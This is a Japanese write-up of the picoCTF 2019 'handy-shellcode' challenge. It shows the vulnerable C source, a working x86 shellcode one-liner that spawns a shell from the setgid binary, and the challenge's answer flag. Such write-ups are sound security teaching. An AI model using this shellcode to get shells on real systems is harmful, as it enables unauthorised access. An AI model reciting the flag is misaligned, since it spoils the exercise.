picoCTF2019 handy-shellcode [Binary Exploitation]
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af on the shell server. Source.
(適当な訳)このプログラムは指定したシェルコードを実行します。シェルを生成し、それを使用してflag.txtを読み取ることはできますか?
Hints: You might be able to find some good shellcode online.
(適当な訳)いいシェルコードはオンラインで見つけることができます
与えられたソースコード(vuln.c)は以下のようになっている。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
picoCTFのシェルサーバから問題文にあるディレクトリに移動して確認してみる。
$ cd /problems/handy-shellcode_3_1a2e95a810eefe4a5994631812c0b8af
$ ls -la
total 732
drwxr-xr-x 2 root root 4096 Sep 28 21:53 .
drwxr-x--x 684 root root 69632 Oct 10 18:02 ..
-r--r----- 1 hacksports handy-shellcode_3 39 Sep 28 21:53 flag.txt
-rwxr-sr-x 1 hacksports handy-shellcode_3 661832 Sep 28 21:53 vuln
-rw-rw-r-- 1 hacksports hacksports 624 Sep 28 21:53 vuln.c
$ ./vuln
Enter your shellcode:
foo
foo
Thanks! Executing now...
Segmentation fault (core dumped)
$ file vuln
vuln: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=7b65fbf1fba331b6b09a6812a338dbb1118e68e9, not stripped
flag.txtがあるが、パーミッションがないため閲覧できない。vulnを実行するとシェルコードの入力を求められて、適当な文字を入れるとSegmentation falutで終了する。
ここのサイトからx86で使えそうなシェルコードを探して、実行するとシェルが起動できるのでフラグが手に入る。
$ (echo -e "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";cat) | ./vuln
Enter your shellcode:
1���
Qh//shh/bin��
Thanks! Executing now...
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}
答え:picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}